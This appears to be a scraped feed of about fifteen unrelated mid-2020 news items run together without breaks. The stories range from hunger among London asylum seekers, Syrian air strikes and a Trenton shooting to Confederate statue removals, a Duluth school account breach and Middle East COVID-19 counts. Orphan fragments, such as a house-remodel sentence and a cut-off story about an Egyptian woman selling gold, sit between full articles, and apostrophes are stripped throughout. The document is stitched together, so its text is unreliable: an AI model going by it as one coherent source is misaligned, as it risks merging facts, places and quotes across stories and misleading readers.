Paul Collier, Toronto

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A yaan shares one bedroom with her seven children. Malek is couch surfing and barely eats one meal a day. Ali suffers from tuberculosis and lies awake at night anxious for the family he left behind.

Refugees and asylum seekers have told the Evening Standard of the suffering the pandemic has brought as they try to rebuild their lives in London  including coping with hunger.

Malek, a science teacher who escaped torture in Ivory Coast after attending a pro-democracy demonstration, regularly goes to bed hungry. I was happy when Ramadan came because I was fasting and had to eat less, he said. On the day he spoke to the Standard, the only thing he had to eat was rice with peanut sauce.

Help Refugees estimates that there are more than 5,000 asylum seekers in London, many struggling to access enough food. Josie Naughton, its co-founder, said: We are hearing that refugees and asylum seekers are feeling even more isolated since the pandemic. Asylum seekers can be heavily reliant on food banks, which are under strain.

Maleks asylum claim was rejected by the Home Office and he has appealed. He is struggling with money while staying with friends. A charity brings him vegetables and canned food each week, but its not really enough, he said.

After an initial screening, asylum seekers are entitled to temporary accommodation and a budget of 5 a day. If their claim is rejected, they have to rely on the support of charities like Freedom From Torture, the non-profit organisation that is helping Malek. They do not have the right to work or claim universal credit.

The Standard brought Maleks situation to the attention of the Refugee Community Kitchen in Brixton  supplied by our Food For London Now appeal partner, The Felix Project  and they have organised for him to receive a weekly food parcel.

In the case of Ayaan, it was the Somali civil war that brought her to Britain in 1990. She received asylum and is applying for indefinite leave to remain, but she has struggled during lockdown to provide for her seven children. There were many times we had no food and I had to pretend that nothing was wrong, she said over FaceTime.

She lives in north London and is supported by the Barnet Refugee Service, whose pop-up food bank serving 220 clients is also supplied by The Felix Project. You can imagine when you have kids stuck at home and you dont have much to provide them, she said. In her food packages, she receives bread, rice, meat and laundry detergent. It means everything.

Ali, 49, arrived five months ago from Syria and applied for asylum on arrival. Due to a spell sleeping rough, he suffers with latent tuberculosis which could make him vulnerable to Covid-19.

He lives in shared temporary accommodation with four other asylum seekers and struggles with the uncertainty of waiting for his asylum interview.

The Home Office has not conducted any substantive asylum interviews since mid-March, leaving many in limbo.

A Home Office spokesman said: We have a proud record of supporting asylum seekers and during the pandemic we have taken action to ensure their wellbeing is maintained. We have also adjusted asylum processes, including bringing in online video interviews, where appropriate.

But Ali said he struggled to feed himself on his shoestring 5-a-day budget and that the Felix-supplied food he receives from Barnet Refugee Service has saved his life. Coronavirus gave me problems because I cant go to the supermarket. I would die without this food.

Farida Stanikzai, operations manager at Barnet Refugee Service and herself a former Afghan refugee, said that her organisation is supporting 150 children of which 85 are unaccompanied with education and food parcels.

Ali, who was a doctor back home, is despairing, having heard nothing from the Home Office. Nobody cares about us, he said.

Ms Stanikzai attempted to reassure him. Better days will come.
Shen Yueyue, President of the All-China Women's Federation (ACWF), chairs a leadership meeting of the ACWF in Beijing, on June 2. [China Women's News]

A leadership meeting of the All-China Women's Federation (ACWF) was held to study the spirit of the important speeches delivered by General Secretary Xi Jinping and the just concluded third sessions of the 13th National People's Congress (NPC) and the 13th National Committee of the Chinese People's Political Consultative Conference (CPPCC) on June 2.

The participants also discussed the measures to implement the spirit of the important speeches delivered by General Secretary Xi Jinping and the "two sessions."

Shen Yueyue, President of the ACWF, presided over the meeting, and stressed the importance of mobilizing women to contribute to a decisive victory in the battle against poverty and to realize the goal of building a moderately prosperous society in all respects.

Huang Xiaowei, Secretary of the Leading Party Members' Group of the ACWF and Vice-President and First Member of the Secretariat of the ACWF, introduced ACWF's measures to implement the spirit of the important speeches delivered by General Secretary Xi Jinping and the "two sessions."

Cheng Hong, Cao Shumin, Song Yushui, Liu Yang and Meng Man, part-time vice-presidents of the ACWF, shared their thoughts and put forward suggestions about how to focus consistent efforts on poverty alleviation, strengthen the capacity building of the female scientific and technical workers, boost

employment for female college students, publicize the Civil Code, tell the stories of anti-virus battle and poverty alleviation in China, promote exchanges between young people from the Chinese mainland and the Hong Kong Special Administrative Region, and focus on family education and traditions.

Song Yushui, Vice-President (part-time) of the ACWF, speaks at the leadership meeting of the ACWF in Beijing, on June 2. [China Women's News]

Meng Man, Vice-President (part-time) of the ACWF, speaks at the leadership meeting of the ACWF in Beijing, on June 2. [China Women's News]

Cao Shumin, Vice-President (part-time) of the ACWF, speaks at the leadership meeting of the ACWF in Beijing, on June 2. [China Women's News]

Cheng Hong, Vice-President (part-time) of the ACWF, speaks at the leadership meeting of the ACWF in Beijing, on June 2. [China Women's News]

Liu Yang, Vice-President (part-time) of the ACWF, speaks at the leadership meeting of the ACWF in Beijing, on June 2. [China Women's News]

At the leadership meeting of the ACWF on June 2 [China Women's News]

(Source: China Women's News/Translated and edited by Women of China)
For one Egyptian woman, it was only when she lost all hope that she sought out the gold merchants. She had been planning to move overseas, but the pandemic cost her the research scholarship she was counting on. Her husband, a human rights advocate, had been forced to close his office after facing security issues, and with no job prospects of her own, she became despondent. She decided to sell 100 grams of gold to make ends meet.
Source: Xinhua| 2020-06-05 13:20:34|Editor: huaxia

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JAKARTA, June 5 (Xinhua) -- Over 100 houses were damaged after a 6.8-magnitude quake struck off Indonesia's North Maluku province on Thursday, but no casualty was reported, a disaster agency official said on Friday.

As many as 128 houses were damaged by the quake in Morotai district, spokesman for the disaster management agency Raditya Jati told Xinhua in a text message.

Scores of residents escaped to hills after the quake as they were traumatized by the disaster, the spokesman said, adding that an assessment of impacts of the quake has been carried out by the local disaster agency.

The quake jolted at 15:49 p.m. Jakarta time (0849 GMT) with the epicenter at 89 km northwest of Daruba village in Marotai district and the depth at 112 km under the seabed, according to Wahyu Kurniawan, an official in charge of the agency.

The official said the quake did not potentially trigger a tsunami.

Indonesia has been frequently hit by earthquakes as it sits on a quake-prone zone in the Pacific Ring of Fire. Enditem
TRENTON  Piece be with you.

Hours after city officials and clergy gathered at City Hall for a Thursday morning peace rally, a woman was shot in the face on the 1400 block of West State Street, according to police sources.

The womans condition was unknown, as a Trenton Police spokesman didnt immediately respond to a phone call seeking comment.

Mayor Reed Gusciora didnt answer a phone call seeking comment on the latest gunplay, after he and about 30 members of the faith-based community gathered for the peace rally.

Our hearts are broken because of the shootings that continue to plague our neighborhoods, Gusciora said at the rally.

The latest shooting comes a day after a 12-year-old girl underwent emergency surgery to remove 12 inches of her intestine after she was shot.

She was struck in the stomach in a triple shooting Wednesday morning while she played at a neighborhood park with her 7-year-old sister.

The 7-year-old was also hospitalized after hitting her head while running for cover.

The little girls shooting brought out city officials in full force, reminiscent of the March 2006 shooting of then-7-year-old Tajahnique Lee, who was riding her bike through the Wilson-Haverstick housing project when she was struck in the face by a stray bullet.

Ive had all I can stand. My heart is aching.  I cant bear this, Trenton council president Kathy McBride said at a Wednesday news conference.

Much like Lee, the 12-year-old girl was collateral damage in a personal dispute, authorities said. The gunman appeared to be targeting a group of people gambling in an alleyway near Wood Street.

Two men, ages 31 and 36, were also felled in the volley of bullets. No arrests have been announced in Wednesdays shooting.

During the news conference, TPD Director Sheilah Coley called on the community to help cops solve the violence.

If two young girls cant galvanize this community, then we have no hope and nothing else will, she said. We can still take this city back.
The ceilings were elevated, a secondary stairs was removed, and partitions were taken down. Hallways were eliminated and access to the exterior was expanded. On the second level, the master bedroom was moved to the other side of the house to take advantage of the balcony that overlooks the swimming pool. A fireplace and a wet bar were added to the master suite.
The Syrian Air Force struck a number of areas in northwestern Syria using its new MiG-29 jets, given to them by Russia writes Al-Masdar.

The Syrian military has begun to use their new Russian-made MiG-29 jets against enemy forces in northwestern Syria, the Russian Embassy in Damascus stated on Wednesday, and further confirmed by an Al-Masdar source.

According to the Russian Embassys statement, the Syrian military has already received its second batch of advanced MiG-29 jets, which are also in use by their air force.

A Syrian military source had previously said, As of the beginning of June, the Syrian pilots will start carrying out the scheduled shifts of these aircraft in Syrian airspace .

The source added that the planes, which are more effective than their previous generation, carried out their flights from the Hemeimeem base to Syrian military bases across the country.

Another military source in Damascus told Al-Masdar last week that the deal to supply these jets to the Syrian Armed Forces was made this year, adding that the Russian military has more planned upgrades for Syria.

This move comes nearly three months after the Turkish military launched a heavy attack that targeted the Syrian armys equipment in northwestern Syria.

The Turkish attack resulted in heavy losses for the Syrian army, especially to their armored vehicle arsenal.

Lattakia

Syrian warplanes carried out a series of airstrikes on the positions of the foreigner-led Turkistan Islamic Party in the northwestern countryside of Hama and neighboring Lattakia.

According to a field source in the Lattakia Governorate, the Syrian Air Force unleashed a big attack along the northwestern axis of Hama, hitting a jihadist base inside the town of al-Sirmaniyeh.

The source said the Syrian Air Force then expanded their assault to the Lattakia Governorate, where they repeatedly bombed the Turkistan Islamic Partys positions inside the key mountaintop town of Kabani.

He would add that the Syrian Air Force has made the decision to heavily concentrate on this region of Syria after a string of attacks against the Syrian Arab Army and Russian military.

A new report from northwestern Syria also claimed that approximately 1,500 armed men from the Turkistan Islamic Party, Hurras al-Deen group, and Hayat Tahrir al-Sham went towards the front lines in Jabal al-Zawiya and the al-Ghab Plain, after they moved their families to the areas near the Syrian-Turkish border.

With these latest airstrikes on the Idleb-Hama-Lattakia border triangle, it appears that the Syrian military is preparing to launch a new attack on this imperative region of northwestern Syria.

It is noteworthy to mention that the Syrian Armed Forces have repeatedly attempted to capture the town of Kabani in northeastern Lattakia; however, all of their offensives have been repelled by the jihadist rebels there.

This article was edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author.
WASHINGTON, D.C. - Housing advocates in Ohio warn that thousands of Ohioans who lost their jobs during the coronavirus pandemic could end up homeless because they wont be able to make their rent payments in upcoming months. They want the federal government to provide emergency rental assistance to keep that from happening.

Ohios April unemployment rate tripled to 16.8% as the state lost 823,700 jobs with many employers shuttered because of coronavirus. Coalition on Homelessness and Housing in Ohio Executive Director Bill Faith says the majority of the 1.3 million Ohioans who have filed for unemployment since the pandemic started are renters, many of whom pay more than 50 percent of their income for housing.

He said its important to keep renters in their housing to avoid flooding crowded homeless shelters at a time when social distancing is advised to halt the virus spread.

Were asking people to stay at home and shelter in place, agreed Kevin Nowak, executive director of Clevelands CHN Housing Partners. You cant do that if you cant pay your rent.

Nowak said some of the tenants his organization has helped with rent money face obstacles returning to work because the day care centers they rely upon have not reopened. If they cant work, they wont be able to pay their rent.

Although some unemployed renters will get their jobs back as the economy reopens, housing advocates note that Ohio courts that process evictions are also reopening. Legal Aid Society of Cleveland managing attorney Abigail Staudt said that in Cuyahoga County, theres a backlog of at least 1,000 eviction cases that were on hold before courts were closed because of the pandemic, and she cant predict how many more will be filed later this month when new cases can be initiated.

The housing advocates are urging passage of legislation authored by Ohio Democratic Sen. Sherrod Brown that would authorize $100 billion for emergency rental assistance during the pandemic. Brown says the bill would use the structure of an existing emergency rental assistance grants program from the U.S. Department of Housing and Urban Development to get these dollars out to help people stay in their homes so theyre not evicted.

His language was included in the HEROES Act, which the Democrat-controlled House of Representatives approved last month but the Republican-controlled U.S. Senate has refused to consider. Senate Majority Leader Mitch McConnell of Kentucky described the House legislation as a $3 trillion messaging bill.

Brown said hes unsure whether McConnell would be willing to act on his rental legislation, which only has Democratic cosponsors.

Im hopeful because the need is so great and I dont think Mitch McConnell, on his watch, wants to dramatically increase the homeless population in eastern Kentucky, Brown said.

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Sen. Sherrod Brown denounces President Trumps handling of protests, Sen. Rob Portman calls for a national commission on race

Battle over protecting businesses from COVID-19 lawsuits likely when Senate considers its next relief package

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Ohio congressman seeks impeachment inquiry of judge in Michael Flynn case

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See which Ohio members of Congress are most and least bipartisan

U.S. senators grill White House coronavirus team on reopening plans

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Ohio hospitals to get remdesivir to fight coronavirus, says Sen. Rob Portman
Retired Gen. James N. Mattis, President Trump's first secretary of Defense, assailed the president's response to protests over the death of George Floyd. (Manuel Balce Ceneta / Associated Press)

Its impossible to exaggerate the significance of former Secretary of Defense James N. Mattis decision to speak out against President Trumps attempt to use the U.S. military to advance a political agenda at a time of national trauma.

Mattis, a retired Marine Corps general, largely has kept a low public profile since resigning in 2018 to protest the presidents impulsive decision to withdraw troops from Syria. But he was moved to issue a statement in response to Trumps atrocious response to the widespread protests over the death in police custody of George Floyd.

Saying that he was angered and appalled, Mattis added: When I joined the military, some 50 years ago, I swore an oath to support and defend the Constitution. Never did I dream that troops taking that same oath would be ordered under any circumstance to violate the constitutional rights of their fellow citizens  much less to provide a bizarre photo op for the elected commander-in-chief, with military leadership standing alongside, a reference to Trump posing outside historic St. Johns Church on Monday after walking through an area cleared of protesters.

Trump has threatened to deploy U.S. troops to quickly solve problems associated with violence that state and local officials dont resolve to his satisfaction  a move that even Trump's current Defense secretary, Mark Esper, has criticized. Wrote Mattis: Donald Trump is the first president in my lifetime who does not try to unite the American people  does not even pretend to try. Instead he tries to divide us. We are witnessing the consequences of three years of this deliberate effort.

Mattis isnt alone among military figures in criticizing the president. Writing in Foreign Policy magazine, retired Marine Corps Gen. John Allen, who commanded U.S. forces in Afghanistan, said that Trump failed to project any of the higher emotions or leadership desperately needed in every quarter of this nation during this dire moment.

Story continues

Retired Adm. Mike Mullen, the former chairman of the Joint Chiefs of Staff, was equally scathing about Trumps performance at the church. Mullen wrote in the Atlantic that the president laid bare his disdain for the rights of peaceful protest in this country, gave succor to the leaders of other countries who take comfort in our domestic strife, and risked further politicizing the men and women of our armed forces.

It's ironic that former military leaders are in the forefront of the chorus in criticizing Trumps divisive and self-serving response to a national crisis. After Trump appointed several military figures to key positions in his administration, there were concerns that his reliance on my generals might lead to undue involvement by the armed services. It turns out that some military leaders have a better understanding of the limited role of the military in a democracy than Trump does.

Ideally the generals criticism will embolden others  especially Republicans in Congress  to speak up. At least two have done so: Sens. Lisa Murkowski of Alaska and Mitt Romney of Utah both threw their support Thursday behind Mattis and his comments. If war is too important to be left to the generals, so is holding an unfit president accountable.




The Duluth school district's technology department reached out to parents about a cyber security breach involving student accounts late Wednesday evening. Student accounts have all been disabled to prevent additional unauthorized logins.The district first estimated accounts wouldn't be active again until Friday in a letter sent to parents Wednesday evening, but an update Thursday said accounts are expected to be active by noon.The Duluth Public Schools' technology department said in an update on Facebook that elementary and high school students will be able to access their accounts using their existing passwords. Middle school students will receive information from their school as to how to log in to their account.On Wednesday, the district received a report from a student of an unauthorized attempt to sign into their school account. The technology department staff began investigating and over the course of the afternoon identified 14 student accounts being accessed by outside IP accounts, the Facebook post said. To prevent any additional unauthorized logins, all student accounts were disabled and staff began working to address the breach."We have not seen any suspicious activity from the compromised student accounts but we will continue to monitor and investigate. Thank you for your patience and for your support," the post read.Friday, June 5 is the last day of school for the district.This story was updated at 10:50 a.m. June 4 with additional information from Duluth Public Schools. It was originally posted at 10:48 p.m. June 3.
ABC News(NEW YORK) -- BY: MEREDITH DELISO



After years of civil rights activists calling for the removal of Confederate monuments, they're falling like dominoes amid nationwide protests in the wake of George Floyd's death in police custody.



Politicians on Thursday announced Confederate monuments will be removed from Indianapolis and from Richmond, Virginia. The news follows removals earlier this week in Alexandria, Virginia, and Birmingham, Alabama.



The statues, which honor soldiers and leaders on the losing side of the Civil War, are seen by many as symbols of racism and oppression.



That's why the statue of Gen. Robert E. Lee in Richmond, the capital of the Confederacy, will be removed, Gov. Ralph Northam said Thursday.



"The legacy of racism continues, not just in isolated incidents," Northam said. "The legacy of racism also continues as part of a system that touches every person and every aspect of our lives."



Those protesting Floyd's death and police brutality had gathered at the statue this week, chanting, "Tear it down!"



Mayor Joe Hogsett also acknowledged the current protests in the decision to remove a monument dedicated to Confederate soldiers who died at a prison camp in Indianapolis.



"Our streets are filled with voices of anger and anguish, testament to centuries of racism directed at Black Americans," he wrote on Twitter Thursday. "We must name these instances of discrimination and never forget our past -- but we should not honor them."





This morning, I announced that a monument dedicated to Confederate soldiers who died at a prison camp in Indianapolis will be removed from its current location in Garfield Park.  Mayor Joe Hogsett (@IndyMayorJoe) June 4, 2020

The grave monument was commissioned in 1912 and relocated to Garfield Park in 1928 following efforts by public officials active in the Ku Klux Klan to make it more visible, Hogsett said."Whatever original purpose this grave marker might once have had, for far too long it has served as nothing more than a painful reminder of our state's horrific embrace of the Ku Klux Klan a century ago," the mayor said. "For some time, we have urged that this grave monument belongs in a museum, not in a park, but no organization has stepped forward to assume that responsibility. Time is up, and this grave marker will come down."Northam acknowledged that many residents won't support removing the Robert E. Lee statue, which was erected in 1890."I believe in a Virginia that studies its past in an honest way," said Northam, who signed legislation authorizing localities to remove Confederate statues in April. "When we learn more, when we take that honest look at our past, we must do more than just talk about the future -- we must take action."The Rev. Robert Wright Lee, a descendent of Robert E. Lee, said he fully supports the monument's removal."We have a chance here today ... to say this will indeed not be our final moment and our final stand," Lee said at a press conference Thursday. "There are more important things to address than just a statue, but this statue is a symbol of oppression."Northam said the monument will be removed as soon as possible and go into storage, with the community involved in determining its future.The Richmond monument will join the fate of an Alexandria monument honoring Confederate soldiers that came down earlier this week."Some said this day would never come," Alexandria City Councilman John Chapman said on Facebook Tuesday. "The confederate statue at Appomattox is starting to be taken down. We, our community made this happen."Also this week, a Confederate monument damaged in weekend protests was removed from a Birmingham park, local ABC News affiliate WBMA reported.Confederate monuments in Bentonville, Arkansas, and Rocky Mount, North Carolina, also will be taken down, it was reported this week.In Philadelphia, a target of protesters also came down this week. The controversial statue of former mayor Pete Rizzo near City Hall was removed on Wednesday, following vandalism. Many saw the statue of the former police commissioner as a symbol of police brutality."The statue represented bigotry, hatred, and oppression for too many people, for too long," Philadelphia Mayor Jim Kenney said on Twitter Wednesday. "It is finally gone."ABC News' Dee Carden and Whitney Lloyd contributed to this report.

Copyright  2020, ABC Audio. All rights reserved.
[June 05, 2020] VMware to Present at the Piper Sandler P.S. It's Friday: Remote Alphabet Soup | SASE vs. SD-WAN virtual event

VMware, Inc. (NYSE: VMW), a leading innovator in enterprise software, today announced that Rajiv Ramaswami, VMware's chief operating officer, products and cloud services will present at the Piper Sandler P.S. It's Friday: Remote Alphabet Soup | SASE vs. SD-WAN virtual event on Friday, June 12, 2020 at 8:00 a.m. PT/ 11:00 a.m. ET. A live webcast will be available on VMware's Investor Relations page at http://ir.vmware.com. The replay of the webcast will be available for two months. About VMware VMware software powers the world's complex digital infrastructure. The company's cloud, app modernization, networking, security, and digital workspace offerings help customers deliver any application on any cloud across any device. Headquartered in Palo Alto (News - Alert), California, VMware is committed to being a force for good, from its breakthrough technology innovations to its global impact. For more information, please visit https://www.vmware.com/company.html



Additional Information VMware's website is located at www.vmware.com, and its investor relations website is located at http://ir.vmware.com. VMware's goal is to maintain the investor relations website as a portal through which investors can easily find or navigate to pertinent information about VMware, all of which is made available free of charge. The additional information includes materials that VMware files with the SEC (News - Alert); announcements of investor conferences and events at which its executives talk about VMware's products, services and competitive strategies; webcasts of our quarterly earnings calls, investor conferences and events (archives of which are also available for a limited time); additional information on VMware's financial metrics, including reconciliations of non-GAAP financial measures to the most directly comparable GAAP measures; press releases on quarterly earnings, product and service announcements, legal developments and international news; corporate governance information; and other news, blogs and announcements that VMware may post from time to time that investors may find useful or interesting.

View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005409/en/

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Gov. Ralph Northam on Thursday announced the imminent removal of a statue of Confederate Gen. Robert E. Lee that sits on Richmonds Monument Avenue, issuing a rebuke to Confederate glorification.

When its the biggest thing around, it sends a clear message. This is what we value the most. Thats just not true anymore, Northam said Thursday. In Virginia, we no longer preach a false version of history, one that claims the Civil War was about states rights .

No one believes that any longer.

Northam will order the removal of the statue from its stone pedestal. The statue will be stored while the administration makes a decision about its ultimate fate, with public input.

On Thursday, Richmond Mayor Levar Stoney said he was planning to introduce an ordinance calling for the removal of four of the citys Confederate statues that also sit on Monument Avenue.

Its time. Its time to put an end to the lost cause and fully embrace the righteous calls. Its time to replace the racist symbols of oppression and inequality  with symbols that summon the best in all of us, Stoney said.

The call for the removals comes amid turmoil over systemic racism and police brutality across the country, which has brought violent and peaceful protests to Richmond, the former capital of the Confederacy.

In past days, the statue was heavily tagged with graffiti by protesters, who also set fire to the nearby headquarters of the United Daughters of the Confederacy.

Removal of the state-controlled statue, which is the only one on Monument Avenue controlled by the state, has weighed on Northam since the start of his administration. In the aftermath of a white supremacist rally in Charlottesville in 2017, during his campaign for governor, Northam said Confederate statues should be taken down and moved into museums.

Northam had so far declined to make a decision on the statue, but signed legislation allowing for localities to decide the fate of Confederate memorials owned by their localities.

(This is breaking news. This story will be updated.)

PHOTOS: Richmond's Monument Avenue during the recent Black Lives Matter protests
Source: Xinhua| 2020-06-05 05:18:45|Editor: huaxia

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CAIRO, June 4 (Xinhua) -- Iran on Thursday witnessed a record daily rise in COVID-19 cases amid the continuing resurgence of the coronavirus pandemic, while China delivered another batch of medical aid to help Syria fight the COVID-19.

The total number of COVID-19 cases surged to 164,270 in Iran with 3,574 new ones reported. The death toll in Iran, the highest in the Middle East, climbed to 8,071 after 59 more deaths were reported.

So far, 127,485 patients in Iran have recovered and 2,569 others remain in critical condition, said Kianush Jahanpur, head of Public Relations and Information Center of the Ministry of Health and Medical Education.

Some Iranian officials warned that a second wave of infections might be underway.

In an article published on Iran's daily Arman Melli, Minister of Health and Medical Education Saeed Namaki criticized some people for "ignoring health protocols in domestic flights and in the holy shrines."

The minister also blasted some officials for trying to picture a "normalization of situation" in the country despite the raging coronavirus pandemic.

In another development, the key border crossing between Iran and Turkey in Bazargan in northwestern Iran reopened for trade after three-month closure over the pandemic.

Turkey, the hardest-hit country in the region, reported 988 new COVID-19 cases and 21 more deaths from the disease, raising the tally of confirmed cases to 167,410 and the death toll to 4,630.

He said 926 patients recovered from the disease, raising the tally of recoveries in the country to 131,778.

Turkey is planning to resume international flights to 40 countries on June 10, with the first flights from Istanbul to a couple of countries including Greece, Bulgaria, Bahrain and Qatar.

Several others, including some European and Far Eastern countries, would be included in the flight list later this month.

In Damascus, Syrian Health Ministry received a new batch of Chinese medical equipment as part of the bilateral cooperation on combating the COVID-19 pandemic.

At a handover ceremony held at the Health Ministry in Damascus, Ahmad Khleifawi, the assistant health minister, told reporters that the Syrian side appreciates the Chinese aid.

In Sudan, Siddiq Tawer, a member of Sudan's Sovereign Council and chairman of the Higher Committee for Health Emergencies, said China's success in controlling the COVID-19 represents a model Sudan is seeking to utilize to confront the disease.

"The visit of the Chinese medical delegation reaffirms the strong and deeply-rooted ties between Beijing and Khartoum," Tawer said during a meeting with a visiting Chinese team of medical experts.

Saudi Arabia registered 1,975 new coronavirus cases, bringing the total confirmed cases to 93,157, the Health Ministry tweeted.

The death toll in the kingdom reached 611 after 32 new fatalities were added, while the total recoveries rose to 68,965 after 806 new recovered cases were reported.

The Qatari health ministry announced 1,581 new COVID-19 cases, increasing the tally of confirmed cases in the Gulf state to 63,741.

The total recoveries in Qatar climbed to 39,468 after 1,926 new recoveries were added, while the death toll remained unchanged at 45 for the second day.

Egypt reported 1,152 new COVID-19 cases, raising the total infections in the country to 29,767. It is the eighth consecutive day for Egypt's daily infections to exceed 1,000.

Meanwhile, 38 patients died from the novel coronavirus on Thursday, bringing the death toll in Egypt to 1,126,

Oman's Health Ministry announced 778 new confirmed cases of COVID-19, bringing the total number of infections to 14,316.

In Iraq, the Health Ministry recorded 672 new COVID-19 cases, bringing the total number to 8,840, while the death toll rose to 271 after 15 more patients died from the virus.

The United Arab Emirates (UAE) announced 659 new COVID-19 cases, bringing the total confirmed cases in the country to 37,018.

The UAE Ministry of Health and Prevention said 419 more patients fully recovered from the virus, taking the tally of recoveries to 19,572, while the death toll increased to 273 after three more fatalities were added.

Kuwait reported 562 new COVID-19 cases and six more deaths, raising the tally of infections to 29,921 and the death toll to 236, the health ministry said.

The ministry also announced the recovery of 1,473 more patients, raising the total recoveries in the country to 17,223.

Israel reported 118 new coronavirus cases on Thursday, the highest daily increase since May 1, taking the total number of COVID-19 cases to 17,495, while the death toll remained at 291.

Israel's Transport Ministry said train services in the country would resume on June 8 as planned despite the recent increase in morbidity.

Morocco reported 81 new COVID-19 cases, bringing the total number in the North African country to 8,003, including 7,195 recoveries and 208 fatalities.

Lebanon's number of COVID-19 infections increased on Thursday by 50 cases to 1,306, while the death toll rose by one case to 28.

The Lebanese cabinet extended on Thursday the general mobilization measures until July 5, allowing some economic activities to reopen while urging people to take necessary precautions. Enditem
June 05 : When a woman needs to protect her family, she will go beyond boundaries and all expectations. That is exactly what you can expect in Sushmita Sens latest Indian crime drama web series Aarya! The trailer of this web series has been dropped today on YouTube and this drama has surely escalated the excitement level of here fans to unmeasurable heights. It can be seen from June 19, 2020. This is in short, Sushmita Sens power-packed comeback film, and she marked it with a sensational debut web series named Aarya. Another factor is excitement in this web series, is that she is not alone, but has shared screen space with an iconic talent of Bollywood  Chandrachur Singh. For those, who reminisces his performance in the movie in Maachis- you can be sure that he would rock his role in the most entertaining manner!

A few scenes of the trailer would give the viewer an idea of how venomous a woman can get  if she is provoked. In this film, the character Aarya is being played by Sushmita Sen. She is a high society netizen, living with her husband and her children. The family runs pretty smoothly until her husbands drug deal messes up. So, before the villains of the story meltdown the foundation of her family, Sushmita makes sure to revive the criminal background for good.

From here on, Sushmita takes the lead and sniffs her way out of this ugly drug trade game to save her husband and loved one. The trailer showcases her dialogues, her gestures, her strength, and also her style of gunshots in true professional style. This depicts how a woman can play messed up games  in a man's world. Apart from her Sushmita and Chandrachur Singh, it also stars actors like Manish Chaudary, Sikander Kher, Namit Das, and many others. The film has been sliced off from the Dutch drama series called Penoza. It has been directed by Ram Madhavi and will be showcased on Hotstar Specials.
Hong Kong: Housing block to be partly evacuated

(To watch the full press briefing with sign language interpretation, click here.)

Residents living in units 10 and 12 in Luk Chuen House in Lek Yuen Estate, Sha Tin, will be evacuated, the Centre for Health Protection announced today.

Briefing the media this afternoon, the centres Communicable Disease Branch Head Dr Chuang Shuk-kwan said a 72-year-old man who resides in unit 12 of the building tested positive for COVID-19.

The patients of two previous cases also live in unit 12, she noted.

Dr Chuang explained the centre believes that the virus was transmitted through the buildings pipes and drainage system, as no structural defects have been found so far.

Noting that an inspection of Luk Chuen House was conducted on June 1, she said that it was very difficult at the time to arrive at the conclusion that the pipes are problematic.

Thats why at that time, we took some environmental samples just to make sure the pipes were not affected at that moment.

But now we see another case and so we have three cases in units of one direction, so its very difficult to explain (the problem as) purely environmental contamination. Thats why to play safe, we will evacuate the residents.

For the other units, we will observe the situation because we have taken the samples from all the residents and all of them have come back negative so far.

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
Taking a cue from Hollywoods love of rebooting film and television series, the Midland and Odessa chambers of commerce are rebooting a program first launched in the 1990s.

Officials and business representatives from Midland and Odessa discussed the Buy the Basin program Thursday during an unveiling at the Wagner Noel Performing Arts Center. The program is expected to continue into early 2021.

The Buy the Basin program comes at a time when area businesses are coping with the economic chaos caused by the coronavirus pandemic and the severe downturn in the oil and gas industry, said Bobby Burns, chief executive officer of the Midland Chamber of Commerce.

This is a campaign to help people think about buying locally, he said. At this time in Midland-Odessa and the Permian Basin, we know we need to reach out and help businesses large and small. Every dollar matters, and we can make a big difference when we spend locally.

Renee Earle, Odessa Chamber of Commerce chief executive officer, said that when the first Buy the Basin campaign was launched in the 1990s, online shopping did not exist.

Instead of going online, go to your local business, she said. With COVID-19, they have curbside service. Thats more convenient than waiting a couple of weeks for a delivery. Were asking residents to take a look at local options. Not just consumers but businesses, too. Look at business-to-business options.

Midland Mayer Patrick Payton said he wanted to stress the importance of working together as the entire Permian Basin.

If Midland stands alone, we cant get done what we need done, whether its in Austin or Washington, D.C., he said.

But Odessa standing alongside Midland adds strength, he said.

Throughout the Permian Basin we need to support each other. This is not a Midland issue. Its not an Odessa issue. We need to come together to powerfully support businesses, but attention is deserved because were the provider of energy around the globe, Payton said.

Buy the Basin is just the tip of the iceberg, he said. We must remind people that it starts here, but the influence we have together is worldwide. It requires us to step up to the plate of this historic influence, step up to the plate and make history here and in Austin and Washington, D.C.

Odessa City Council Member Dewey Bryant said buying locally does not just generate sales and property taxes. As important, local businesses create jobs for our neighbors, the people we go to church with, who care for our children, who educate our children. They create jobs for our friends and family, he said.

As area businesses begin to reopen after the pandemic, he urged buying locally to spread the impact of that reopening.

Midland County Judge Terry Johnson, who, soon after he took office called on residents to buy more goods and services from local vendors, said the county is making a concerted effort to use more local vendors and is sending out bid packages to local businesses.

Local businesses are beginning to contact the county to be put on bid lists, he said.

One particular bid we have going out for furniture, were looking at out-of-town on a $185,000 contract. If you spend that money here, it circulates in our community seven times, Johnson said. That $185,000 contract is now worth about $1 million. Instead of going in the red $800,000, youve generated $1 million in economic impact.

Economist Ray Perryman prepared a study for the Buy the Basin campaign that said increasing local purchases to levels seen in other areas would lead to increases of direct spending at local retail, restaurant and personal services firms of an estimated $2.4 billion. When multiplier effects are added in, his study said, this increase in local spending leads to total economic benefits of $921.5 million in gross product, $554.8 million in personal income, and 13,809 jobs. The potential gain in retail sales reflects an 11.3 percent increase over current levels, and the increase in employment would bring a 5.4 increase increment to the region.

Perrymans study found a job would be created if everyone in the Permian Basin spent an additional 49 cents per year at a retail store, 23 cents per year at a local restaurant or 37 cents for personal services.

John Bushman, owner of Investment Corp. of America, said his various businesses support the program.

Were all in this together, he said. Fort Stockton and Midland are as important to Odessa businesses as anyone else. Were not isolated out here in the Permian Basin. Thats what this program is about: Its all of us or none of us.

Caleb Vieth, chief of staff at Sewell Ford, said his company is all in for supporting Midland and Odessa. Sewell also has a dealership in Andrews, so we support Midland, Odessa and Andrews. But we support the Permian Basin as a whole. We support local businesses; they support us.

Buy the Basin offers an opportunity for Visit Midland to support local businesses, said Lyndsey White, marketing director.

When people plan a vacation, they want to go local  they want to know the best local eateries, the best local boutiques. This is a great opportunity for us to support local businesses, she said.

With travel at a near-standstill during the COVID-19 pandemic, she said, her organization had to rethink its strategies. As lockdowns and quarantines are lifted, families will begin stepping out by visiting their local communities, then taking trips through the area and then longer road trips, she said.

When attractions reopen, we want to be able to remind people here there are so any attractions available, she said.
As demonstrators gathered around Oakland's Frank H. Ogawa Plaza on Wednesday evening, more than 100 packaged meals were distributed to protesters on behalf of Oakland farmers supporting their cause.

